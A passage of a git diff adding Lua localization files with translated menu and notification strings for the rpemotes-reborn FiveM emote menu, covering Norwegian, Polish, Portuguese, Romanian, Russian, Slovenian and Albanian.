['dead'] = "Du kan ikke starte animasjoner mens du er død!", + ['swimming'] = "Du kan ikke bruke animasjoner mens du svømmer", + ['notvalidpet'] = "RUH ROH! Denne animasjonen er ikke laget for denne peden! 🐕", + ['animaldisabled'] = "Beklager! Dyreanimasjoner er deaktivert på denne serveren", + ['adultemotedisabled'] = "Bonk! Voksen animasjoner er deaktivert 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Forlatt kikkerten", + ['toggle_binoculars_vision'] = "Veksle mellom synsmodusene", + ['exit_news'] = "Forlatt Kameraet", + ['toggle_news_vision'] = "Veksle mellom synsmodusene", + ['edit_values_newscam'] = "Rediger nyhetsteksten", + ['not_in_a_vehicle'] = "Du kan ikke bruke denne animasjonen mens du er i et kjøretøy", + ['in_a_vehicle'] = "Du kan kun bruke denne animasjonen menst du er i et kjøretøy", + ['no_anim_crawling'] = "Du kan ikke starte animasjoner mens du kryper", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/pl.lua b/resources/rpemotesreborn1.6.0/locales/pl.lua new file mode 100644 index 000000000..7a10edb7f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/pl.lua @@ -0,0 +1,82 @@ +Locales['pl'] = { + -- Polish 🇵🇱 + ['emotes'] = "~h~~p~ Animacje 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Tańce", + ['animalemotes'] = "~h~~p~ 🐩 Animacje zwierząt", + ['propemotes'] = "~h~~p~ 📦 Animacje z propami", + ['favoriteemotes'] = "~h~~y~ 🌟 Ulubione", + ['favoriteinfo'] = "Wybierz animację i ustaw ją jako ulubioną.", + ['rfavorite'] = "Zresetuj ulubione animacje", + ['prop2info'] = "❓ Animacje z propami są zlokalizowane na samym końcu listy", + ['set'] = "Ustaw (", + ['setboundemote'] = ") jako Twoją przypisaną animację?", + ['newsetemote'] = "~w~ jest teraz Twoją przypisaną animacją, wciśnij ~g~CapsLock~w~ by jej użyć.", + ['cancelemote'] = "~h~~r~ Anuluj animację 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Anuluje aktualnie graną animację", + ['walkingstyles'] = "~h~~p~ Style chodzenia 🚶🏻‍♂️", + ['resetdef'] = "Zresetuj do ustawień domyślnych", + ['normalreset'] = "~h~~r~ Normal (Reset)", + ['moods'] = "~h~~p~ Nastroje 😒", + ['infoupdate'] = "~h~~g~ Creditsy 🤝🏻", + ['infoupdateav'] = "Informacje (aktualizacja dostępna)", + ['infoupdateavtext'] = "Dostępna jest nowa aktualizacja, pobierz ją z: ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Masz sugestie?", + ['suggestionsinfo'] = "Napisz do ~r~Noor_Nahas~s~ na forum FiveMa odnośnie przyszłych ficzerów czy propozycji! ✉️", + ['notvaliddance'] = "nie jest poprawnym tańcem.", + ['notvalidemote'] = "nie jest poprawną animacją.", + ['nocancel'] = "Brak animacji do anulowania.", + ['maleonly'] = "Niestety ta animacja działa tylko dla męskich modeli postaci!", + ['emotemenucmd'] = "Użyj komendy /emotemenu by otworzyć menu animacji.", + ['shareemotes'] = "~h~~p~ 👫 Współdzielone animacje", + ['shareemotesinfo'] = "Zaproś pobliską osobę do wspólnej animacji", + ['sharedanceemotes'] = "~h~~p~ 🕺 Współdzielone tańce", + ['notvalidsharedemote'] = "nie jest poprawną współdzieloną animacją.", + ['sentrequestto'] = "Wysyłasz prośbę do ~y~", + ['nobodyclose'] = "Nie ma nikogo ~r~w pobliżu~w~.", + ['doyouwanna'] = "~y~Y~w~ by zaakceptować, ~r~L~w~ by odrzucić (~g~", + ['refuseemote'] = "Odrzucono Twoją prośbę.", + ['makenearby'] = "sprawia, że pobliski gracz gra animację", + ['useleafblower'] = "Naciśnij ~y~G~w~ by użyć dmuchawy do liści.", + ['camera'] = "Wciśnij ~y~G~w~ by użyć lampy błyskowej aparatu.", + ['makeitrain'] = "Wciśnij ~y~G~w~ by zrobić deszcz pieniędzy.", + ['pee'] = "Przytrzymaj ~y~G~w~ by oddać mocz.", + ['spraychamp'] = "Przytrzymaj ~y~G~w~ by opryskać szampanem", + ['stun'] = "Wciśnij ~y~G~w~ by 'użyć' tazera.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Press ~y~G~w~ to vape.", + ['boundto'] = "Przypisz (~y~%s~w~) do ~g~%s~w~", + ['currentlyboundemotes'] = " Aktualnie przypisane animacje:", + ['notvalidkey'] = "nie jest poprawnym klawiszem.", + ['keybinds'] = "🔢 Przypisane klawisze", + ['keybindsinfo'] = "Użyj", + ['searchemotes'] = "~h~~y~ 🔍 Szukaj animacji", + ['searchinputtitle'] = "Szukaj:", + ['searchmenudesc'] = "wyników dla frazy", + ['searchnoresult'] = "Brak wyników dla frazy", + ['searchshifttofav'] = "Przytrzymaj L-Shift i naciśnij Enter by dodać do ulubionych.", + ['searchcantsetfav'] = "Współdzielona animacja nie może być dodana do ulubionych.", + ['invalidvariation'] = "Niepoprawny wariant tekstury. Dostępne tekstury to: %s", + ['firework'] = "Naciśnij ~y~G~w~ aby odpalić fajerwerki", + ['poop'] = "Naciśnij ~y~G~w~ by zrobić kupę", + ['puke'] = "Naciśnij ~y~G~w~, aby zwymiotować", ---- Translated via smodin.io + ['btn_select'] = "Wybierz", + ['btn_back'] = "Wstecz", + ['btn_switch'] = "Ruch", + ['btn_increment'] = "Increment", + ['dead'] = "You can't use emotes while dead!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Incorrect ped model detected 🐕!", + ['animaldisabled'] = "Sorry! Animal emotes are disabled on this server", + ['adultemotedisabled'] = "Bonk! Adult emotes disabled 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Exit binoculars", + ['toggle_binoculars_vision'] = "Toggle between vision modes", + ['exit_news'] = "Exit News Camera", + ['toggle_news_vision'] = "Toggle between vision modes", + ['edit_values_newscam'] = "Edit the news text", + ['not_in_a_vehicle'] = "You can't play this animation while in a vehicle", + ['in_a_vehicle'] = "You can only play this animation while in a vehicle 🚷", + ['no_anim_crawling'] = "You can't play animations while crawling", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/pt.lua b/resources/rpemotesreborn1.6.0/locales/pt.lua new file mode 100644 index 000000000..bb94186bc --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/pt.lua @@ -0,0 +1,83 @@ +Locales['pt'] = { + -- Brazilian Portuguese 🇧🇷 + ['emotes'] = "~h~~p~ Emotes 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Emotes de Danças", + ['animalemotes'] = "~h~~p~ 🐩 Emotes de Animais", + ['propemotes'] = "~h~~p~ 📦 Emotes com Props", + ['favoriteemotes'] = "~h~~y~ 🌟 Favoritos", + ['favoriteinfo'] = "Selecione um emote para colocá-lo nos seus favoritos", + ['rfavorite'] = "Limpar favoritos", + ['prop2info'] = "❓ Emotes de props podem ser localizados no fim", + ['set'] = "Set (", + ['setboundemote'] = ") para ser seu emote vinculado?", + ['newsetemote'] = "~w~ é o seu emote vinculado, pressione ~g~CapsLock~w~ para usá-lo", + ['cancelemote'] = "~h~~r~ Cancelar emote 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Cancela os emotes rodando atualmente", + ['walkingstyles'] = "~h~~p~ Estilos de Caminhada 🚶🏻‍♂️", + ['resetdef'] = "Resetar para o padrão", + ['normalreset'] = "~h~~r~ Normal (Resetar)", + ['moods'] = "~h~~p~ Humores 😒", + ['infoupdate'] = "~h~~y~ Crédito 🤝🏻", + ['infoupdateav'] = "Informação (Atualização disponível)", + ['infoupdateavtext'] = "Uma atualização disponível, veja ~y~https://github.com/alberttheprince/rpemotes-reborn~w~ para pegar", + ['suggestions'] = "Sugestões?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ no fórum do FiveM para qualquer sugestão de recurso/emotes! ✉️", + ['notvaliddance'] = "não é uma dança válida.", + ['notvalidemote'] = "não é um emote válido.", + ['nocancel'] = "Nenhum emote para cancelar", + ['maleonly'] = "Este emote é para homens, desculpe!", + ['emotemenucmd'] = "Use /emotemenu para abrir o menu.", + ['shareemotes'] = "~h~~p~ 👫 Emotes compartilhados", + ['shareemotesinfo'] = "Convide uma pessoa próxima para realizar a animação", + ['sharedanceemotes'] = "~h~~p~ 🕺 Danças compartilhadas", + ['notvalidsharedemote'] = "não é um emote compartilhado válido.", + ['sentrequestto'] = "Enviar solicitação para ~y~", + ['nobodyclose'] = "Ninguém próximo o ~r~suficiente~w~.", + ['doyouwanna'] = "~y~Y~w~ para aceitar, ~r~L~w~ para recusar (~g~", + ['refuseemote'] = "Emote recusado", + ['makenearby'] = "Faz o jogador próximo participar", + ['useleafblower'] = "Pressione ~y~G~w~ para usar o soprador de folhas", + ['camera'] = "Pressione ~y~G~w~ para usar o flash da câmera", + ['makeitrain'] = "Pressione ~y~G~w~ para fazer chover.", + ['pee'] = "Mantenha pressionado ~y~G~w~ para fazer xixi.", + ['spraychamp'] = "Mantenha pressionado ~y~G~w~ jogar champagne", + ['stun'] = "Pressione ~y~G~w~ para 'usar' stun gun.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Pressione ~y~G~w~ para vape.", + ['boundto'] = "Vinculado (~y~%s~w~) para ~g~%s~w~", + ['currentlyboundemotes'] = "Emotes atualmente vinculados: ", + ['notvalidkey'] = "isto não é uma chave válida", + ['keybinds'] = "🔢 Keybinds", + ['keybindsinfo'] = "Usar", + ['searchemotes'] = "~h~~y~ 🔍 Procure por Emotes", + ['searchinputtitle'] = "Procurar:", + ['searchmenudesc'] = "resultado(s) para", + ['searchnoresult'] = "Nenhum resultado para a pesquisa", + ['searchshifttofav'] = "Segure Shift Esquerdo e pressione enter para setar como favorito.", + ['searchcantsetfav'] = "Emotes compartilhados não podem ser setados como favorito.", + ['invalidvariation'] = "Variação de textura inválida. As opções válidas são: %s", + ['firework'] = "Pressione ~y~G~w~ para usar o fogo de artifício", + ['poop'] = "Pressione ~y~G~w~ para fazer cocô", -- Translated using smodin.io + ['puke'] = "Pressione ~y~G~w~ para vomitar", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Selecionar", + ['btn_back'] = "Voltar", + ['btn_switch'] = "Movimento", + ['btn_increment'] = "Incremento", + ['dead'] = "You can't use emotes while dead!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Incorrect ped model detected 🐕!", + ['animaldisabled'] = "Sorry! Animal emotes are disabled on this server", + ['adultemotedisabled'] = "Bonk! Adult emotes disabled 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Exit binoculars", + ['toggle_binoculars_vision'] = "Toggle between vision modes", + ['exit_news'] = "Exit News Camera", + ['toggle_news_vision'] = "Toggle between vision modes", + ['edit_values_newscam'] = "Edit the news text", + ['not_in_a_vehicle'] = "You can't play this animation while in a vehicle", + ['in_a_vehicle'] = "You can only play this animation while in a vehicle 🚷", + ['no_anim_crawling'] = "You can't play animations while crawling", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/ro.lua b/resources/rpemotesreborn1.6.0/locales/ro.lua new file mode 100644 index 000000000..9aed294ea --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/ro.lua @@ -0,0 +1,83 @@ +Locales['ro'] = { + -- Romanian 🇷🇴 + ['emotes'] = "~h~~p~ Emote-uri 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Dansuri", + ['animalemotes'] = "~h~~p~ 🐩 Emote-uri pentru animale", + ['propemotes'] = "~h~~p~ 📦 Prop Emote-uri", + ['favoriteemotes'] = "~h~~y~ 🌟 Favorite", + ['favoriteinfo'] = "Selecteaza un emote aici pentru a îl alege ca favorit.", + ['rfavorite'] = "Reseteaza emote-uri favorite", + ['prop2info'] = "❓ Prop Emote-urile pot fi gasite la final", + ['set'] = "Seteaza (", + ['setboundemote'] = ") sa fie emote-ul binduit?", + ['newsetemote'] = "~w~ este acum emote-ul tau binduit, apasa ~g~CapsLock~w~ pentru a folosi.", + ['cancelemote'] = "~h~~r~ Anuleaza animatia 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Anuleaza animatia curenta", + ['walkingstyles'] = "~h~~p~ Stiluri de mers 🚶🏻‍♂️", + ['resetdef'] = "Reseteaza la default", + ['normalreset'] = "~h~~r~ Normal (Reset)", + ['moods'] = "~h~~p~ Expresii 😒", + ['infoupdate'] = "~h~~g~ Credits 🤝🏻", + ['infoupdateav'] = "Informatii", + ['infoupdateavtext'] = "Credits: See our read me for credits!", + ['suggestions'] = "Sugestii?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ pe forumurile FiveM pentru orice sugestie de feature/emote nou! ✉️", + ['notvaliddance'] = "nu este un emote valid.", + ['notvalidemote'] = "nu este un emote valid.", + ['nocancel'] = "Niciun emote de anulat.", + ['maleonly'] = "Acest emote este doar pentru barbati, scuze!", + ['emotemenucmd'] = "Foloseste comanda /emotemenu pentru a deschide meniul de animatii.", + ['shareemotes'] = "👫 Shared Emotes", + ['shareemotesinfo'] = "Invita persoana de langa tine", + ['sharedanceemotes'] = "🕺 Shared Dances", + ['notvalidsharedemote'] = "nu este un emote shared valid.", + ['sentrequestto'] = "Am trimis propunerea catre ~y~", + ['nobodyclose'] = "Nu este nici o persoana ~r~langa tine~w~.", + ['doyouwanna'] = "~y~Y~w~ pentru a accepta, ~r~L~w~ pentru a refuza (~g~", + ['refuseemote'] = "Emote refuzat.", + ['makenearby'] = "face jucatorul de langa sa aiba animatia", + ['useleafblower'] = "Apasă ~y~G~w~ pentru a folosi suflătorul de frunze.", + ['camera'] = "Apasa ~y~G~w~ pentru a folosi blitz-ul.", + ['makeitrain'] = "Apasa ~y~G~w~ pentru a da bani fara numar.", + ['pee'] = "tine apasat ~y~G~w~ pentru a urina.", + ['spraychamp'] = "tine apasat ~y~G~w~ pentru a stropi cu sampanie", + ['stun'] = "Apasa ~y~G~w~ pentru a 'folosi' electrosocul.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Press ~y~G~w~ to vape.", + ['boundto'] = "Binduite (~y~%s~w~) la ~g~%s~w~", + ['currentlyboundemotes'] = " Emote-uri prezent binduite:", + ['notvalidkey'] = "nu este o tasta valida.", + ['keybinds'] = "🔢 Bind-uri", + ['keybindsinfo'] = "Foloseste", + ['searchemotes'] = "~h~~y~ 🔍 Cautare Emote-uri", + ['searchinputtitle'] = "Cautare:", + ['searchmenudesc'] = "rezultat(e) pentru", + ['searchnoresult'] = "Fara rezultate pentru cautarea", + ['searchshifttofav'] = "Tine apasat L-Shift si apasa enter pentru a seta ca favorit.", + ['searchcantsetfav'] = "Emote-urile Shared nu pot fi setate ca favorite.", + ['invalidvariation'] = "Variație nevalidă a texturii. Selectările valide sunt: ​​%s", + ['firework'] = "Apasa ~y~G~w~ pentru a folosi artificiile", + ['poop'] = "Apăsați pe ~y~G~w~ pentru a face caca", --Trannslated using smodin.io + ['puke'] = "Apăsați pe ~y~G~w~ pentru a vomita", ---- Translated via smodin.io + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Selectare", + ['btn_back'] = "Înapoi", + ['btn_switch'] = "Mișcare", + ['btn_increment'] = "Increment", + ['dead'] = "You can't use emotes while dead!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Incorrect ped model detected 🐕!", + ['animaldisabled'] = "Sorry! Animal emotes are disabled on this server", + ['adultemotedisabled'] = "Bonk! Adult emotes disabled 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Exit binoculars", + ['toggle_binoculars_vision'] = "Toggle between vision modes", + ['exit_news'] = "Exit News Camera", + ['toggle_news_vision'] = "Toggle between vision modes", + ['edit_values_newscam'] = "Edit the news text", + ['not_in_a_vehicle'] = "You can't play this animation while in a vehicle", + ['in_a_vehicle'] = "You can only play this animation while in a vehicle 🚷", + ['no_anim_crawling'] = "You can't play animations while crawling", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/ru.lua b/resources/rpemotesreborn1.6.0/locales/ru.lua new file mode 100644 index 000000000..6992dab5c --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/ru.lua @@ -0,0 +1,83 @@ +Locales['ru'] = { + -- Russian 🇷🇺 + ['emotes'] = "~h~~p~ Эмоции 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Танцевальные эмоции", + ['animalemotes'] = "~h~~p~ 🐩 Эмоции животных", + ['propemotes'] = "~h~~p~ 📦 Эмоции с пропом", + ['favoriteemotes'] = "~h~~y~ 🌟 Избранные", + ['favoriteinfo'] = "Выберите здесь эмоцию, чтобы сделать ее избранной.", + ['rfavorite'] = "Сбросить избранное", + ['prop2info'] = "❓ Эмоции с пропом могут быть расположены в конце", + ['set'] = "Установить (", + ['setboundemote'] = ") как привязанную эмоцию?", + ['newsetemote'] = "~w~ теперь привязанная эмоция, нажмите ~g~CapsLock~w~ для использования.", + ['cancelemote'] = "~h~~r~ Остановить эмоцию 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Отменяет воспроизводимую эмоцию", + ['walkingstyles'] = "~h~~p~ Стили ходьбы 🚶🏻‍♂️", + ['resetdef'] = "Сбросить на обычную", + ['normalreset'] = "~h~~r~ Обычная (Сбросить)", + ['moods'] = "~h~~p~ Настроение 😒", + ['infoupdate'] = "Признательность 🤝🏻", + ['infoupdateav'] = "Информация (Доступно обновление)", + ['infoupdateavtext'] = "Доступно обновление, загрузите последнюю версию с ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Предложения?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ на форумах FiveM для любых предложений по функциям/эмоциям! ✉️", + ['notvaliddance'] = "не существующий танец.", + ['notvalidemote'] = "не существующая эмоция.", + ['nocancel'] = "Нет эмоций для отмены.", + ['maleonly'] = "Эта эмоция только для мужчин, извините!", + ['emotemenucmd'] = "Используйте команду /emotemenu, чтобы открыть меню анимации.", + ['shareemotes'] = "~h~~p~ 👫 Совместные эмоции", + ['shareemotesinfo'] = "Пригласите человека рядом для воспроизведения эмоции", + ['sharedanceemotes'] = "~h~~p~ 🕺 Совместные танцы", + ['notvalidsharedemote'] = "не существующая совместная эмоция.", + ['sentrequestto'] = "Отправлен запрос ~y~", + ['nobodyclose'] = "Никого ~r~close~w~ нет поблизости.", + ['doyouwanna'] = "~y~Y~w~ для принятия, ~r~L~w~ для отмены (~g~", + ['refuseemote'] = "Эмоция откленена.", + ['makenearby'] = "заставляет соседнего игрока играть", + ['useleafblower'] = "Нажмите ~y~G~w~ для использование воздуходувки.", + ['camera'] = "Нажмите ~y~G~w~ для вспышки.", + ['makeitrain'] = "Нажмите ~y~G~w~ для дождя.", + ['pee'] = "Удерживайте ~y~G~w~ чтоб писать.", + ['spraychamp'] = "Удерживайте ~y~G~w~ для спрея шампанского", + ['stun'] = "Нажмите ~y~G~w~ ,чтобы 'использовать' шокер.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Нажмите ~y~G~w~ чтобы вейпить.", + ['boundto'] = "Связать (~y~%s~w~) для ~g~%s~w~", + ['currentlyboundemotes'] = " Текущие привязанные эмоции:", + ['notvalidkey'] = "недопустимая клавиша.", + ['keybinds'] = "🔢 Бинды клавиш", + ['keybindsinfo'] = "Использовать", + ['searchemotes'] = "~h~~y~ 🔍 Поиск эмоции", + ['searchinputtitle'] = "Поиск:", + ['searchmenudesc'] = "результат(ы) для", + ['searchnoresult'] = "Нет результатов по поиску", + ['searchshifttofav'] = "Удерживайте L-Shift и нажмите Enter, чтобы установить в избранное.", + ['searchcantsetfav'] = "Парные эмоции не могут быть добавлены в избранное.", + ['invalidvariation'] = "Недопустимая вариация текстуры. Допустимые варианты: %s", + ['firework'] = "Нажмите ~y~G~w~, чтобы запустить фейерверк.", -- GOOGLE TRANSLATED + ['poop'] = "Нажмите ~y~G~w~, чтобы какать", + ['puke'] = "Нажмите ~y~G~w~ для рвоты", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Выбрать", + ['btn_back'] = "Назад", + ['btn_switch'] = "Движение", + ['btn_increment'] = "Increment", + ['dead'] = "Вы не можете использовать эмоции, когда умерли!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "ГАВ ГАВ! Эмоции для 4-ногих друзей 🐕!", + ['animaldisabled'] = "Извините! Эмоции животных отключены на сервере", + ['adultemotedisabled'] = "Бонк! Эмоции взрослых отлючены 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Выйти из бинокля", + ['toggle_binoculars_vision'] = "Переключение между режимами бинокля", + ['exit_news'] = "Выход из камеры новостей", + ['toggle_news_vision'] = "Переключение между режимами камеры", + ['edit_values_newscam'] = "Редактировать текст новости", + ['not_in_a_vehicle'] = "Вы не можете проигрывать эту эмоцию в машине", + ['in_a_vehicle'] = "Вы можете проигрывать эту эмоцию в машине", + ['no_anim_crawling'] = "Вы не можете проигрывать эмоцию во время ползания", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/sl.lua b/resources/rpemotesreborn1.6.0/locales/sl.lua new file mode 100644 index 000000000..cfa027059 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/sl.lua @@ -0,0 +1,83 @@ +Locales['sl'] = { + -- Slovenia + ['emotes'] = '~h~~p~ Emote 🎬', + ['danceemotes'] = "~h~~p~ 🕺 Plesi", + ['animalemotes'] = "~h~~p~ 🐩 Emote živali", + ['propemotes'] = "~h~~p~ 📦 Emote pripomočkov", + ['favoriteemotes'] = "~h~~y~ 🌟 Priljubljeni", + ['favoriteinfo'] = "Izberite emote tukaj, da ga nastavite kot priljubljenega.", + ['rfavorite'] = "Ponastavi priljubljenega", + ['prop2info'] = "❓ Emote pripomočki se nahajajo na koncu", + ['set'] = "Nastavi (", + ['setboundemote'] = ") kot vaš vezan emote?", + ['newsetemote'] = "~w~ je sedaj vaš vezan emote, pritisnite ~g~CapsLock~w~, da ga uporabite.", + ['cancelemote'] = "~h~~r~ Prekliči Emote 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Prekliče trenutno predvajani emote", + ['walkingstyles'] = "~h~~p~ Sprehajalni stili 🚶🏻‍♂️", + ['resetdef'] = "~h~~y~ Ponastavi na privzeto", + ['normalreset'] = "~h~~r~ Normalno (Ponastavi)", + ['moods'] = "~h~~p~ Počutja 😒", + ['infoupdate'] = "~h~~g~ Krediti 🤝🏻", + ['infoupdateav'] = "Informacije (Na voljo je posodobitev)", + ['infoupdateavtext'] = "Na voljo je posodobitev, pridobite najnovejšo različico s spletne strani ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Predlogi?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ na forumih FiveM za kakršne koli predloge za funkcije/emote! ✉️", + ['notvaliddance'] = "ni veljaven ples.", + ['notvalidemote'] = "ni veljaven emote.", + ['nocancel'] = "Ni emote za preklic.", + ['maleonly'] = "Ta emote je na voljo samo za moške, žal!", + ['emotemenucmd'] = "Uporabite ukaz /emotemenu, da odprete meni za animacije.", + ['shareemotes'] = "~h~~p~ 👫 Deljeni Emotes", + ['shareemotesinfo'] = "Povabite osebo v bližini, da naredi emote", + ['sharedanceemotes'] = "~h~~p~ 🕺 Deljeni Plesi", + ['notvalidsharedemote'] = "ni veljaven deljeni emote.", + ['sentrequestto'] = "Poslano povpraševanje ~y~", + ['nobodyclose'] = "Nihče ni dovolj ~r~blizu~w~.", + ['doyouwanna'] = "~y~Y~w~ za sprejem, ~r~L~w~ za zavrnitev (~g~", + ['refuseemote'] = "Emote zavrnjen.", + ['makenearby'] = "naredi, da se bližnji igralec predvaja", + ['useleafblower'] = "Pritisnite ~y~G~w~, da uporabite pihalnik za liste.", + ['camera'] = "Pritisnite ~y~G~w~, da uporabite bliskavico kamere.", + ['makeitrain'] = "Pritisnite ~y~G~w~, da povzročite dež.", + ['pee'] = "Držite ~y~G~w~, da se olajšate.", + ['spraychamp'] = "Držite ~y~G~w~, da popršite šampanjec", + ['stun'] = "Pritisnite ~y~G~w~, da 'uporabite' električni šoker.", + ['smoke'] = "Pritisnite ~y~G~w~, da kadite.", + ['vape'] = "Pritisnite ~y~G~w~, da vape-ate.", + ['boundto'] = "Vezan (~y~%s~w~) na ~g~%s~w~", + ['currentlyboundemotes'] = "Trenutno vezani emote:", + ['notvalidkey'] = "ni veljavna tipka.", + ['keybinds'] = "🔢 Tipke", + ['keybindsinfo'] = "Uporabite", + ['searchemotes'] = "~h~~y~ 🔍 Iskanje emotes", + ['searchinputtitle'] = "Iskanje:", + ['searchmenudesc'] = "rezultat(ov) za", + ['searchnoresult'] = "Ni rezultatov za iskanje", + ['searchshifttofav'] = "Pritisnite in pridržite levi Shift ter pritisnite Enter, da ga nastavite kot priljubljenega.", + ['searchcantsetfav'] = "Deljeni emotes ni mogoče nastaviti kot priljubljene.", + ['invalidvariation'] = "Neveljavna teksturna variacija. Veljavne izbire so: %s", + ['firework'] = "Pritisnite ~y~G~w~, da uporabite ognjemet", + ['poop'] = "Pritisnite ~y~G~w~, da opravite veliko potrebo", + ['puke'] = "Pritisnite ~y~G~w~, da bruhati", + ['cut'] = "Pritisnite ~y~G~w~ za rezanje", + ['btn_select'] = "Izberi", + ['btn_back'] = "Nazaj", + ['btn_switch'] = "Gibanje", + ['btn_increment'] = "Povečaj", + ['dead'] = "Medtem ko ste mrtvi, ne morete uporabljati emotes!", + ['swimming'] = "Med plavanjem ne morete uporabljati emotes", + ['notvalidpet'] = "RUH ROH! Zaznan napačen model ped 🐕!", + ['animaldisabled'] = "Oprostite! Emote živali so onemogočeni na tem strežniku", + ['adultemotedisabled'] = "Bonk! Odrasli emotes so onemogočeni 🔞", + ['toggle_instructions'] = "Preklopite navodila", + ['exit_binoculars'] = "Izhod iz daljnogleda", + ['toggle_binoculars_vision'] = "Preklopite med načini gledanja", + ['exit_news'] = "Izhod iz kamere za novice", + ['toggle_news_vision'] = "Preklopite med načini gledanja", + ['edit_values_newscam'] = "Uredite besedilo novic", + ['not_in_a_vehicle'] = "Te animacije ne morete predvajati med vožnjo", + ['in_a_vehicle'] = "To animacijo lahko predvajate samo med vožnjo 🚷", + ['no_anim_crawling'] = "Med plazenjem ne morete predvajati animacij", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/sq.lua b/resources/rpemotesreborn1.6.0/locales/sq.lua new file mode 100644 index 000000000..22036c381 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/sq.lua @@ -0,0 +1,83 @@ +Locales['sq'] = { + -- Albanian + ['emotes'] = "~h~~p~ Emotet 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Emotet e Kërcimit", + ['animalemotes'] = "~h~~p~ 🐩 Emotet e Kafshëve", + ['propemotes'] = "~h~~p~ 📦 Emotet e Përparave", + ['favoriteemotes'] = "~h~~y~ 🌟 Të preferuar", + ['favoriteinfo'] = "Zgjidh një emote këtu për ta caktuar si të preferuarin tënd.", + ['rfavorite'] = "Rivendos të preferuarin", + ['prop2info'] = "❓ Emotet e Përparave mund të gjenden në fund", + ['set'] = "Vendos (", + ['setboundemote'] = ") të jetë emote e lidhur?", + ['newsetemote'] = "~w~ është tani emota e lidhur, shtyp ~g~CapsLock~w~ për ta përdorur.", + ['cancelemote'] = "~h~~r~ Anulo Emoten 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Anulon emoten që është duke u luajtur momentalisht", + ['walkingstyles'] = "~h~~p~ Stilet e ecjes 🚶🏻‍♂️", + ['resetdef'] = "Rivendos në parazgjedhje", + ['normalreset'] = "~h~~r~ Normale (Rivendos)", + ['moods'] = "~h~~p~ Gjendjet 😒", + ['infoupdate'] = "~h~~g~ Kredite 🤝🏻", + ['infoupdateav'] = "Informacion (Përditësim i disponueshëm)", + ['infoupdateavtext'] = "Ka një përditësim të disponueshëm, merrni versionin e fundit nga ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Sugjerime?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ në forumet e FiveM për çdo sugjerim për karakteristika/emote! ✉️", + ['notvaliddance'] = "nuk është një kërcim i vlefshëm.", + ['notvalidemote'] = "nuk është një emote i vlefshëm.", + ['nocancel'] = "Nuk ka emote për të anuluar.", + ['maleonly'] = "Ky emote është vetëm për meshkuj, na fal!", + ['emotemenucmd'] = "Përdor komandën /emotemenu për të hapur menunë e animacioneve.", + ['shareemotes'] = "~h~~p~ 👫 Emotet e Ndara", + ['shareemotesinfo'] = "Ftoj një person të afërt për të emotuar", + ['sharedanceemotes'] = "~h~~p~ 🕺 Kërcime të Ndara", + ['notvalidsharedemote'] = "nuk është një emote i ndarë i vlefshëm.", + ['sentrequestto'] = "U dërgua kërkesa te ~y~", + ['nobodyclose'] = "Askush ~r~afër~w~ mjaftueshëm.", + ['doyouwanna'] = "~y~Y~w~ për të pranuar, ~r~L~w~ për të refuzuar (~g~", + ['refuseemote'] = "Emota u refuzua.", + ['makenearby'] = "bën që lojtari i afërt të luajë", + ['useleafblower'] = "Shtyp ~y~G~w~ për të përdorur erërrënë.", + ['camera'] = "Shtyp ~y~G~w~ për të përdorur flakën e kamerës.", + ['makeitrain'] = "Shtyp ~y~G~w~ për të bërë që të bjerë shi.", + ['pee'] = "Mbaj ~y~G~w~ për të ujitur.", + ['spraychamp'] = "Mbaj 